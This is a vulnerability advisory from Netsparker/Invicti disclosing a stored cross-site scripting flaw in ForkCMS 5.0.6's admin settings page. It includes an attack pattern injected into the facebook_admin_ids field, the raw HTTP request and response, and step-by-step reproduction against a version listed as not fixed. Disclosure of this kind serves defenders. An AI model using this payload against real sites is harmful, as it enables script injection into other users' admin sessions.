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Stored Cross-site Scripting Vulnerabilities in ForkCMS 5.0.6

Information

Advisory by Netsparker (now Invicti)
Name: Stored Cross-site Scripting Vulnerabilities in ForkCMS
Affected Software: ForkCMS
Affected Versions: 5.0.6
Homepage: https://www.fork-cms.com/
Vulnerability: Stored Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-032

Technical Details

Injection Details

URL: http://{domain}/{forkcms_path}/private/en/settings
Parameter Name: facebook_admin_ids
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x018E3D) x="

Injection Raw Request

POST /{forkcms_path}/private/en/settings HTTP/1.1
Host: {domain}
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID={cookie}

...............&facebook_admin_ids=x%22%20onmouseover%3dalert(0x018E3D)%20x%3d%22&facebook_application_id=...............

Identification Raw Request

GET /{forkcms_path}/private/en/settings HTTP/1.1
Host: {domain}
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID={cookie}

Identification Raw Response

HTTP/1.1 200 OK
...
...
<!DOCTYPE html>
<html lang="en">
...
...
<input value="x" onmouseover=alert(0x018E3D) x="" id="facebookAdminIds" name="facebook_admin_ids" maxlength="255" type="text" class="form-control fork-form-text" />
…

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Repro Steps

  1. Login
  2. Go to “Settings > General” page
  3. Paste attack pattern to “Admin ids” input on the”Facebook” section
  4. Click “Add” button
  5. Click save button
  6. Trigger XSS: Take the mouse cursor over the “Admin ids” input on the “Facebook” section

Advisory Timeline

24th October 2017 – First Contact Attempt
31st December 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

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